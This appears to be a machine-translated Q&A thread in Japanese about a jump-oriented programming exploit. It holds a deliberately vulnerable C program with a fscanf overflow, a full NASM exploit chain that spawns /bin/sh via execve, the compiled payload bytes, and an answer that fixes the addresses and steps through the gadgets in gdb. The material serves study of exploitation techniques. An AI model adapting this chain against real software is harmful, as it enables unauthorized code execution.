web-dev-qa-db-ja.com

ジャンプ指向プログラミングのセグメンテーション違反の問題

私は thisjopに興味深い投稿を見つけました。コンセプトに慣れていなかったので、それを試すことにしました。引数の有無にかかわらず、バイナリで定義された任意の関数を呼び出すことができましたが、投稿に記載されている例を実行できませんでした。

彼がやっていることは、以下に見られるように、自分のガジェットと脆弱なプログラムを定義することです

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>

char* executable="/bin//sh";
char* null="\0\0\0";
FILE * fd;

void attack_payload () {
asm(".intel_syntax noprefix");
//dispatcher
asm("add ebp,edi; jmp [ebp-0x39];");

//initializer
asm("popa; jmp [ebx-0x3e];");

//g00
asm("popa; fdivr st(1), st; jmp [edx];");
//g01
asm("inc eax; fdivr st(1), st; jmp [edx];");
//g02
asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
//g03
asm("inc ebx; fdivr st(1), st; jmp [edx];");
//g07
asm("popa; cmc; jmp dword ptr [ecx];");
//g08
asm("xchg ecx, eax; fdiv st, st(3); jmp [esi-0xf];");
//g09
asm("mov eax, [esi+0xc]; mov [esp], eax; call [esi+0x4];");
//g0a
asm("int 0x80");

asm(".att_syntax noprefix");
}

void overflow() {
  char buf[256];
//printf("%p", buf);
  fscanf(fd,"%[^\n]",buf);
  return;
}

int main(int argc, char** argv) {
  char* filename = "exploit";
  if(argc>1) filename = argv[1];
  fd=fopen(filename, "r");
  overflow();
}

Gdbを使用して、ペイロードで定義されている定数の正しいアドレスを見つけたと思います

enter image description here

enter image description here

enter image description here

バッファのアドレスについては、$ebpからその長さを引くことで見つけました

(gdb) print $ebp
$1 = (void *) 0xffffce78
(gdb) print $ebp - 0x6c
$2 = (void *) 0xffffce0c

私の定数は次のようになります(バッファサイズも変更した後)

; Constants:
base:           equ 0xbfff42d0      ; Address where this buffer is loaded
;base:          equ 0xffffd2b0      ; Address where this buffer is loaded under gdb (the stack addresses change when gdb is present.)
dispatcher:     equ 0x804847e       ; Address of the dispatcher gadget
initializer     equ dispatcher+5    ; Address of initializer gadget
to_executable:      equ 0x80485c0       ; Points to the string "/bin/sh"
to_null:        equ 0x80485c9       ; Points to a null dword (0x00000000)
buffer_length:      equ 0x108       ; Target program's buffer size.

Shellを取得する代わりにプログラムを実行すると、

Segmentation fault (core dumped)

完全なエクスプロイト自体は次のとおりです

start:
; Constants:
base:           equ 0xbfff42d0      ; Address where this buffer is loaded
;base:          equ 0xffffd2b0      ; Address where this buffer is loaded under gdb (the stack addresses change when gdb is present.)
dispatcher:     equ 0x804847e       ; Address of the dispatcher gadget
initializer     equ dispatcher+5    ; Address of initializer gadget
to_executable:      equ 0x80485c0       ; Points to the string "/bin/sh"
to_null:        equ 0x80485c9       ; Points to a null dword (0x00000000)
buffer_length:      equ 0x108       ; Target program's buffer size.

; The dispatch table is below (in reverse order)
g0a: dd dispatcher+52           ; int 0x80
g09: dd dispatcher+43           ; mov eax, [esi+0xc]        ; mov [esp], eax    ; call [esi+0x4]
g08: dd dispatcher+37           ; xchg ecx, eax         ; fdiv st, st(3)    ; jmp [esi-0xf]
g07: dd dispatcher+33           ; popa              ; cmc           ; jmp [ecx]
g06: dd dispatcher+19           ; mov [ebx-0x17bc0000], ah  ; stc           ; jmp [edx]
g05: dd dispatcher+28           ; inc ebx           ; fdivr st(1), st   ; jmp [edx]
g04: dd dispatcher+19           ; mov [ebx-0x17bc0000], ah  ; stc           ; jmp [edx]
g03: dd dispatcher+28           ; inc ebx           ; fdivr st(1), st   ; jmp [edx]
g02: dd dispatcher+19           ; mov [ebx-0x17bc0000], ah  ; stc           ; jmp [edx]
g01: dd dispatcher+14           ; inc eax           ; fdivr st(1), st   ; jmp [edx]
g00: dd dispatcher+9            ; popa              ; fdivr st(1), st   ; jmp [edx]
g_start:                ; Start of the dispatch table, which is in reverse order.

; Don't know why but there is an 8-byte padding between the buffer and the return address
times buffer_length+8 - ($-start) db 'x'    ; Pad to the end of the legal buffer

; Stuff to overwrite return address goes here
stored_ebp: dd 0xaaaaaaaa
ret_address: dd initializer

; Start of the stack. Data read by initializer gadget "popa":
popa0_edi: dd -4            ; Delta for dispatcher; negative to avoid NULLs
popa0_esi: dd 0xaaaaaaaa
popa0_ebp: dd base+g_start+0x39     ; Starting jump target for dispatcher (plus 0x39)
popa0_esp: dd 0xaaaaaaaa
popa0_ebx: dd base+to_dispatcher+0x3e   ; Jumpback for initializer (plus 0x3e)
popa0_edx: dd 0xaaaaaaaa
popa0_ecx: dd 0xaaaaaaaa
popa0_eax: dd 0xaaaaaaaa

; Data read by "popa" for the null-writer gadgets:
popa1_edi: dd -4            ; Delta for dispatcher
popa1_esi: dd base+to_dispatcher    ; Jumpback for gadgets ending in "jmp [esi]"
popa1_ebp: dd base+g00+0x39     ; Maintain current dispatch table offset
popa1_esp: dd 0xaaaaaaaa
popa1_ebx: dd base+new_eax+0x17bc0000+1 ; Null-writer clears the 3 high bytes of future eax
popa1_edx: dd base+to_dispatcher    ; Jumpback for gadgets ending "jmp [edx]"
popa1_ecx: dd 0xaaaaaaaa
popa1_eax: dd -1            ; When we increment eax later, it becomes 0

; Data read by "popa" to prepare for the system call:
popa2_edi: dd -4            ; Delta for dispatcher
popa2_esi: dd base+esi_addr     ; Jumpback for "jmp [esi+K]" for a few values of K
popa2_ebp: dd base+g07+0x39     ; Maintain current dispatch table offset
popa2_esp: dd 0xaaaaaaaa
popa2_ebx: dd to_executable     ; Syscall EBX = 1st execve arg (filename)
popa2_edx: dd to_null           ; Syscall EDX = 3rd execve arg (envp)
popa2_ecx: dd base+to_dispatcher    ; Jumpback for "jmp [ecx]"
popa2_eax: dd to_null           ; Swapped into ECX for syscall. 2nd execve arg (argv)

; End of stack, start of a general data region used in manual addressing

        dd dispatcher       ; Jumpback for "jmp [esi-0xf]"
        times 0xB db 'X'    ; Filler
esi_addr:   dd dispatcher       ; Jumpback for "jmp [esi]"
        dd dispatcher       ; Jumpback for "jmp [esi+0x4]"
        times 4 db 'Z'      ; Filler
new_eax:    dd 0xEEEEEE0B       ; Sets syscall EAX via [esi+0xc]; EE bytes will be cleared
        times 3 db 'Z'      ; Filler

to_dispatcher:  dd dispatcher       ; Address of the dispatcher:    add ebp,edi         ; jmp [ebp-0x39]
        dw 0x73         ; The standard code segment; allows far jumps; ends in NULL

exploit.nasm:47: warning: dword data exceeds boundsの問題を回避するためにnasm v2.07を使用してこれをコンパイルし、そのようにコンパイルします

nasm exploit.nasm 

このような408バイトのファイルを作成するには、

enter image description here

文字列としてコンパイルされたシェルコードは次のようになります。

char shellcode[] =
    "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x02\x00\x03\x00\x01\x00\x00\x00\x60\x80\x04\x08\x34\x00"
    "\x00\x00\x38\x07\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01"
    "\x00\x28\x00\x05\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x80\x04\x08\x00\x80\x04\x08\x00\x02\x00\x00\x00\x02\x00"
    "\x00\x05\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\xb2\x84\x04\x08\xa9\x84\x04\x08\xa3"
    "\x84\x04\x08\x9f\x84\x04\x08\x91\x84\x04\x08\x9a\x84\x04\x08"
    "\x91\x84\x04\x08\x9a\x84\x04\x08\x91\x84\x04\x08\x8c\x84\x04"
    "\x08\x87\x84\x04\x08\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\xaa\xaa\xaa\xaa\x83\x84\x04"
    "\x08\xfc\xff\xff\xff\xaa\xaa\xaa\xaa\xf1\x20\x09\x10\xaa\xaa"
    "\xaa\xaa\x64\x22\x09\x10\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"
    "\xaa\xaa\xaa\xfc\xff\xff\xff\x26\x22\x09\x10\xed\x20\x09\x10"
    "\xaa\xaa\xaa\xaa\x20\x22\xc5\x27\x26\x22\x09\x10\xaa\xaa\xaa"
    "\xaa\xff\xff\xff\xff\xfc\xff\xff\xff\x13\x22\x09\x10\xd1\x20"
    "\x09\x10\xaa\xaa\xaa\xaa\x20\xa0\x04\x08\x24\xa0\x04\x08\x26"
    "\x22\x09\x10\x24\xa0\x04\x08\x7e\x84\x04\x08\x58\x58\x58\x58"
    "\x58\x58\x58\x58\x58\x58\x58\x7e\x84\x04\x08\x7e\x84\x04\x08"
    "\x5a\x5a\x5a\x5a\x0b\xee\xee\xee\x5a\x5a\x5a\x7e\x84\x04\x08"
    "\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x60\x80\x04\x08\x00\x00\x00\x00"
    "\x03\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x04\x00\xf1\xff\x71\x00\x00\x00\x60\x80\x04\x08\x00\x00"
    "\x00\x00\x00\x00\x01\x00\x0e\x00\x00\x00\x2c\xa0\x04\x08\x00"
    "\x00\x00\x00\x00\x00\xf1\xff\x92\x01\x00\x00\x7e\x84\x04\x08"
    "\x00\x00\x00\x00\x00\x00\xf1\xff\x13\x00\x00\x00\x83\x84\x04"
    "\x08\x00\x00\x00\x00\x00\x00\xf1\xff\x1f\x00\x00\x00\x20\xa0"
    "\x04\x08\x00\x00\x00\x00\x00\x00\xf1\xff\x2d\x00\x00\x00\x24"
    "\xa0\x04\x08\x00\x00\x00\x00\x00\x00\xf1\xff\x35\x00\x00\x00"
    "\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\xf1\xff\x43\x00\x00"
    "\x00\x60\x80\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x47\x00"
    "\x00\x00\x64\x80\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x4b"
    "\x00\x00\x00\x68\x80\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00"
    "\x4f\x00\x00\x00\x6c\x80\x04\x08\x00\x00\x00\x00\x00\x00\x01"
    "\x00\x53\x00\x00\x00\x70\x80\x04\x08\x00\x00\x00\x00\x00\x00"
    "\x01\x00\x57\x00\x00\x00\x74\x80\x04\x08\x00\x00\x00\x00\x00"
    "\x00\x01\x00\x5b\x00\x00\x00\x78\x80\x04\x08\x00\x00\x00\x00"
    "\x00\x00\x01\x00\x5f\x00\x00\x00\x7c\x80\x04\x08\x00\x00\x00"
    "\x00\x00\x00\x01\x00\x63\x00\x00\x00\x80\x80\x04\x08\x00\x00"
    "\x00\x00\x00\x00\x01\x00\x67\x00\x00\x00\x84\x80\x04\x08\x00"
    "\x00\x00\x00\x00\x00\x01\x00\x6b\x00\x00\x00\x88\x80\x04\x08"
    "\x00\x00\x00\x00\x00\x00\x01\x00\x6f\x00\x00\x00\x8c\x80\x04"
    "\x08\x00\x00\x00\x00\x00\x00\x01\x00\x77\x00\x00\x00\x70\x81"
    "\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x82\x00\x00\x00\x74"
    "\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x8e\x00\x00\x00"
    "\x78\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x98\x00\x00"
    "\x00\x7c\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\xa2\x00"
    "\x00\x00\x80\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\xac"
    "\x00\x00\x00\x84\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00"
    "\xb6\x00\x00\x00\x88\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01"
    "\x00\xc0\x00\x00\x00\x8c\x81\x04\x08\x00\x00\x00\x00\x00\x00"
    "\x01\x00\xca\x00\x00\x00\x90\x81\x04\x08\x00\x00\x00\x00\x00"
    "\x00\x01\x00\xd4\x00\x00\x00\x94\x81\x04\x08\x00\x00\x00\x00"
    "\x00\x00\x01\x00\xde\x00\x00\x00\x98\x81\x04\x08\x00\x00\x00"
    "\x00\x00\x00\x01\x00\xe8\x00\x00\x00\x9c\x81\x04\x08\x00\x00"
    "\x00\x00\x00\x00\x01\x00\xf2\x00\x00\x00\xa0\x81\x04\x08\x00"
    "\x00\x00\x00\x00\x00\x01\x00\xfc\x00\x00\x00\xa4\x81\x04\x08"
    "\x00\x00\x00\x00\x00\x00\x01\x00\x06\x01\x00\x00\xa8\x81\x04"
    "\x08\x00\x00\x00\x00\x00\x00\x01\x00\x10\x01\x00\x00\xac\x81"
    "\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x1a\x01\x00\x00\xb0"
    "\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x24\x01\x00\x00"
    "\xb4\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x2e\x01\x00"
    "\x00\xb8\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x38\x01"
    "\x00\x00\xbc\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x42"
    "\x01\x00\x00\xc0\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00"
    "\x4c\x01\x00\x00\xc4\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01"
    "\x00\x56\x01\x00\x00\xc8\x81\x04\x08\x00\x00\x00\x00\x00\x00"
    "\x01\x00\x60\x01\x00\x00\xcc\x81\x04\x08\x00\x00\x00\x00\x00"
    "\x00\x01\x00\x6a\x01\x00\x00\xd0\x81\x04\x08\x00\x00\x00\x00"
    "\x00\x00\x01\x00\x74\x01\x00\x00\xd4\x81\x04\x08\x00\x00\x00"
    "\x00\x00\x00\x01\x00\x7e\x01\x00\x00\xe7\x81\x04\x08\x00\x00"
    "\x00\x00\x00\x00\x01\x00\x87\x01\x00\x00\xf3\x81\x04\x08\x00"
    "\x00\x00\x00\x00\x00\x01\x00\x8f\x01\x00\x00\xfa\x81\x04\x08"
    "\x00\x00\x00\x00\x00\x00\x01\x00\x9d\x01\x00\x00\x00\x92\x04"
    "\x08\x00\x00\x00\x00\x10\x00\x01\x00\xa9\x01\x00\x00\x00\x92"
    "\x04\x08\x00\x00\x00\x00\x10\x00\x01\x00\xb0\x01\x00\x00\x00"
    "\x92\x04\x08\x00\x00\x00\x00\x10\x00\x01\x00\x00\x65\x78\x70"
    "\x6c\x6f\x69\x74\x2e\x6e\x61\x73\x6d\x00\x62\x61\x73\x65\x00"
    "\x69\x6e\x69\x74\x69\x61\x6c\x69\x7a\x65\x72\x00\x74\x6f\x5f"
    "\x65\x78\x65\x63\x75\x74\x61\x62\x6c\x65\x00\x74\x6f\x5f\x6e"
    "\x75\x6c\x6c\x00\x62\x75\x66\x66\x65\x72\x5f\x6c\x65\x6e\x67"
    "\x74\x68\x00\x67\x30\x61\x00\x67\x30\x39\x00\x67\x30\x38\x00"
    "\x67\x30\x37\x00\x67\x30\x36\x00\x67\x30\x35\x00\x67\x30\x34"
    "\x00\x67\x30\x33\x00\x67\x30\x32\x00\x67\x30\x31\x00\x67\x30"
    "\x30\x00\x67\x5f\x73\x74\x61\x72\x74\x00\x73\x74\x6f\x72\x65"
    "\x64\x5f\x65\x62\x70\x00\x72\x65\x74\x5f\x61\x64\x64\x72\x65"
    "\x73\x73\x00\x70\x6f\x70\x61\x30\x5f\x65\x64\x69\x00\x70\x6f"
    "\x70\x61\x30\x5f\x65\x73\x69\x00\x70\x6f\x70\x61\x30\x5f\x65"
    "\x62\x70\x00\x70\x6f\x70\x61\x30\x5f\x65\x73\x70\x00\x70\x6f"
    "\x70\x61\x30\x5f\x65\x62\x78\x00\x70\x6f\x70\x61\x30\x5f\x65"
    "\x64\x78\x00\x70\x6f\x70\x61\x30\x5f\x65\x63\x78\x00\x70\x6f"
    "\x70\x61\x30\x5f\x65\x61\x78\x00\x70\x6f\x70\x61\x31\x5f\x65"
    "\x64\x69\x00\x70\x6f\x70\x61\x31\x5f\x65\x73\x69\x00\x70\x6f"
    "\x70\x61\x31\x5f\x65\x62\x70\x00\x70\x6f\x70\x61\x31\x5f\x65"
    "\x73\x70\x00\x70\x6f\x70\x61\x31\x5f\x65\x62\x78\x00\x70\x6f"
    "\x70\x61\x31\x5f\x65\x64\x78\x00\x70\x6f\x70\x61\x31\x5f\x65"
    "\x63\x78\x00\x70\x6f\x70\x61\x31\x5f\x65\x61\x78\x00\x70\x6f"
    "\x70\x61\x32\x5f\x65\x64\x69\x00\x70\x6f\x70\x61\x32\x5f\x65"
    "\x73\x69\x00\x70\x6f\x70\x61\x32\x5f\x65\x62\x70\x00\x70\x6f"
    "\x70\x61\x32\x5f\x65\x73\x70\x00\x70\x6f\x70\x61\x32\x5f\x65"
    "\x62\x78\x00\x70\x6f\x70\x61\x32\x5f\x65\x64\x78\x00\x70\x6f"
    "\x70\x61\x32\x5f\x65\x63\x78\x00\x70\x6f\x70\x61\x32\x5f\x65"
    "\x61\x78\x00\x65\x73\x69\x5f\x61\x64\x64\x72\x00\x6e\x65\x77"
    "\x5f\x65\x61\x78\x00\x74\x6f\x5f\x64\x69\x73\x70\x61\x74\x63"
    "\x68\x65\x72\x00\x5f\x5f\x62\x73\x73\x5f\x73\x74\x61\x72\x74"
    "\x00\x5f\x65\x64\x61\x74\x61\x00\x5f\x65\x6e\x64\x00\x00\x2e"
    "\x73\x79\x6d\x74\x61\x62\x00\x2e\x73\x74\x72\x74\x61\x62\x00"
    "\x2e\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2e\x74\x65\x78\x74"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00"
    "\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x60\x80\x04\x08\x60"
    "\x00\x00\x00\xa0\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x10\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x15\x07\x00\x00\x21\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00"
    "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x02\x00\x00\x60\x03\x00\x00\x04\x00\x00"
    "\x00\x33\x00\x00\x00\x04\x00\x00\x00\x10\x00\x00\x00\x09\x00"
    "\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60"
    "\x05\x00\x00\xb5\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x01\x00\x00\x00\x00\x00\x00\x00";

これが期待どおりに機能しないのはなぜですか?私が試した簡単な例で同様の動作を見たので、ディスパッチャに間違ったメモリロケーションを定義していることに関係していると思います。

9
dearn44

vulnerable.cをコンパイルすることから始めます。 Position Independent Executable(PIE)の作成を回避すると、物事が簡素化されます。

$ uname -r
4.13.0-19-generic
$ uname -m
x86_64
$ gcc-6 --version
gcc-6 (Ubuntu 6.4.0-8ubuntu1) 6.4.0 20171010
...
$ gcc-6 -no-pie vulnerable.c -o vulnerable -g -m32 -fno-stack-protector -O0
$ readelf -h vulnerable|grep Type
  Type:                              EXEC (Executable file)

これはgdb内の攻撃を示していますが、直接攻撃を実行すると、一部のアドレスが変更される可能性があります。

$ gdb vulnerable
...
(gdb) disassemble attack_payload 
Dump of assembler code for function attack_payload:
...
   0x080484e8 <+13>:    add    %edi,%ebp
   0x080484ea <+15>:    jmp    *-0x39(%ebp)
...
(gdb) x executable
0x8048680:  0x6e69622f
(gdb) x null
0x8048689:  0x00000000
(gdb) b overflow 
Breakpoint 1 at 0x8048535: file vulnerable.c, line 44.
(gdb) r
Starting program: /home/mkayaalp/jop/vulnerable 

Breakpoint 1, overflow () at vulnerable.c:44
44    fscanf(fd,"%[^\n]",buf);
(gdb) x buf 
0xffffd460: 0x0804b160

gdbを開いたままにして、exploit.nasmファイルの定数を変更します。

start:
; Constants:
base:          equ 0xffffd460   ; Address where this buffer is loaded 
dispatcher:    equ 0x080484e8   ; Address of the dispatcher gadget
initializer    equ dispatcher+5 ; Address of initializer gadget
to_executable: equ 0x08048680   ; Points to the string "/bin/sh"
to_null:       equ 0x08048689   ; Points to a null dword (0x00000000)
buffer_length: equ 0x100        ; Target program's buffer size.
...

次に、エクスプロイトを生成し、ペイロードの終了バイトがペイロードの中央に表示されないことを確認するために簡単に調べます。

$ nasm exploit.nasm; hd exploit
00000000  1c 85 04 08 13 85 04 08  0d 85 04 08 09 85 04 08  |................|
00000010  fb 84 04 08 04 85 04 08  fb 84 04 08 04 85 04 08  |................|
00000020  fb 84 04 08 f6 84 04 08  f1 84 04 08 78 78 78 78  |............xxxx|
00000030  78 78 78 78 78 78 78 78  78 78 78 78 78 78 78 78  |xxxxxxxxxxxxxxxx|
*
00000100  78 78 78 78 78 78 78 78  aa aa aa aa ed 84 04 08  |xxxxxxxx........|
00000110  fc ff ff ff aa aa aa aa  c5 d4 ff ff aa aa aa aa  |................|
00000120  30 d6 ff ff aa aa aa aa  aa aa aa aa aa aa aa aa  |0...............|
00000130  fc ff ff ff f2 d5 ff ff  c1 d4 ff ff aa aa aa aa  |................|
00000140  ec d5 bb 17 f2 d5 ff ff  aa aa aa aa ff ff ff ff  |................|
00000150  fc ff ff ff df d5 ff ff  a5 d4 ff ff aa aa aa aa  |................|
00000160  80 86 04 08 89 86 04 08  f2 d5 ff ff 89 86 04 08  |................|
00000170  e8 84 04 08 58 58 58 58  58 58 58 58 58 58 58 e8  |....XXXXXXXXXXX.|
00000180  84 04 08 e8 84 04 08 5a  5a 5a 5a 0b ee ee ee 5a  |.......ZZZZ....Z|
00000190  5a 5a e8 84 04 08 73 00                           |ZZ....s.|
00000198

脆弱性は次の行にあることに注意してください。

fscanf(fd,"%[^\n]",buf);

改行文字(0x0A)が見つかるまで、ファイルからバイトをコピーします。結果のエクスプロイトにこのバイトがある場合、残りのペイロードはコピーされません。 (ただし、脆弱性を微調整してこの制限を取り除くことができます。最初にファイルを読み取り、次にstrcpyでサイズを確認せずにnullで終了する文字列をコピーします。)

上記のエクスプロイトには、最後を除いて00または0Aがないため、機能するはずです。

gdbでプログラムを再起動し、実行をステップ実行します。

(gdb) r
Starting program: /home/mkayaalp/jop/vulnerable 

Breakpoint 1, overflow () at vulnerable.c:44
44    fscanf(fd,"%[^\n]",buf);
(gdb) n
45    return;
(gdb) x /408b buf
0xffffd460: 0x1c    0x85    0x04    0x08    0x13    0x85    0x04    0x08
0xffffd468: 0x0d    0x85    0x04    0x08    0x09    0x85    0x04    0x08
0xffffd470: 0xfb    0x84    0x04    0x08    0x04    0x85    0x04    0x08
0xffffd478: 0xfb    0x84    0x04    0x08    0x04    0x85    0x04    0x08
0xffffd480: 0xfb    0x84    0x04    0x08    0xf6    0x84    0x04    0x08
0xffffd488: 0xf1    0x84    0x04    0x08    0x78    0x78    0x78    0x78
0xffffd490: 0x78    0x78    0x78    0x78    0x78    0x78    0x78    0x78
...
0xffffd560: 0x78    0x78    0x78    0x78    0x78    0x78    0x78    0x78
0xffffd568: 0xaa    0xaa    0xaa    0xaa    0xed    0x84    0x04    0x08
0xffffd570: 0xfc    0xff    0xff    0xff    0xaa    0xaa    0xaa    0xaa
0xffffd578: 0xc5    0xd4    0xff    0xff    0xaa    0xaa    0xaa    0xaa
0xffffd580: 0x30    0xd6    0xff    0xff    0xaa    0xaa    0xaa    0xaa
0xffffd588: 0xaa    0xaa    0xaa    0xaa    0xaa    0xaa    0xaa    0xaa
0xffffd590: 0xfc    0xff    0xff    0xff    0xf2    0xd5    0xff    0xff
0xffffd598: 0xc1    0xd4    0xff    0xff    0xaa    0xaa    0xaa    0xaa
0xffffd5a0: 0xec    0xd5    0xbb    0x17    0xf2    0xd5    0xff    0xff
0xffffd5a8: 0xaa    0xaa    0xaa    0xaa    0xff    0xff    0xff    0xff
0xffffd5b0: 0xfc    0xff    0xff    0xff    0xdf    0xd5    0xff    0xff
0xffffd5b8: 0xa5    0xd4    0xff    0xff    0xaa    0xaa    0xaa    0xaa
0xffffd5c0: 0x80    0x86    0x04    0x08    0x89    0x86    0x04    0x08
0xffffd5c8: 0xf2    0xd5    0xff    0xff    0x89    0x86    0x04    0x08
0xffffd5d0: 0xe8    0x84    0x04    0x08    0x58    0x58    0x58    0x58
0xffffd5d8: 0x58    0x58    0x58    0x58    0x58    0x58    0x58    0xe8
0xffffd5e0: 0x84    0x04    0x08    0xe8    0x84    0x04    0x08    0x5a
0xffffd5e8: 0x5a    0x5a    0x5a    0x0b    0xee    0xee    0xee    0x5a
0xffffd5f0: 0x5a    0x5a    0xe8    0x84    0x04    0x08    0x73    0x00

これは、バッファオーバーフローが機能したことを示しています。これで、実行はガジェットを通過します。 display /i $pcは現在の命令を示し、siは1つの命令をステップ実行します。

(gdb) display /i $pc 
1: x/i $pc
=> 0x8048559 <overflow+56>: nop
(gdb) si
46  }
1: x/i $pc
=> 0x804855a <overflow+57>: mov    -0x4(%ebp),%ebx
(gdb) 
0x0804855d  46  }
1: x/i $pc
=> 0x804855d <overflow+60>: leave  
(gdb) 
0x0804855e  46  }
1: x/i $pc
=> 0x804855e <overflow+61>: ret    
(gdb) 
attack_payload () at vulnerable.c:19
19  asm("popa; jmp [ebx-0x3e];");
1: x/i $pc
=> 0x80484ed <attack_payload+18>:   popa   
(gdb) 
0x080484ee in attack_payload () at vulnerable.c:19
19  asm("popa; jmp [ebx-0x3e];");
1: x/i $pc
=> 0x80484ee <attack_payload+19>:   jmp    *-0x3e(%ebx)
(gdb) 
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>:   add    %edi,%ebp
(gdb) 
0x080484ea in attack_payload () at vulnerable.c:16
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>:   jmp    *-0x39(%ebp)
(gdb) 
22  asm("popa; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x80484f1 <attack_payload+22>:   popa   
(gdb) 
0x080484f2  22  asm("popa; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x80484f2 <attack_payload+23>:   fdiv   %st,%st(1)
(gdb) 
0x080484f4  22  asm("popa; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x80484f4 <attack_payload+25>:   jmp    *(%edx)
(gdb) 
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>:   add    %edi,%ebp
(gdb) 
0x080484ea in attack_payload () at vulnerable.c:16
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>:   jmp    *-0x39(%ebp)
(gdb) 
24  asm("inc eax; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x80484f6 <attack_payload+27>:   inc    %eax
(gdb) 
0x080484f7  24  asm("inc eax; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x80484f7 <attack_payload+28>:   fdiv   %st,%st(1)
(gdb) 
0x080484f9  24  asm("inc eax; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x80484f9 <attack_payload+30>:   jmp    *(%edx)
(gdb) 
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>:   add    %edi,%ebp
(gdb) 
0x080484ea in attack_payload () at vulnerable.c:16
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>:   jmp    *-0x39(%ebp)
(gdb) 
26  asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x80484fb <attack_payload+32>:   mov    %ah,-0x17bc0000(%ebx)
(gdb) 
0x08048501  26  asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x8048501 <attack_payload+38>:   stc    
(gdb) 
0x08048502  26  asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
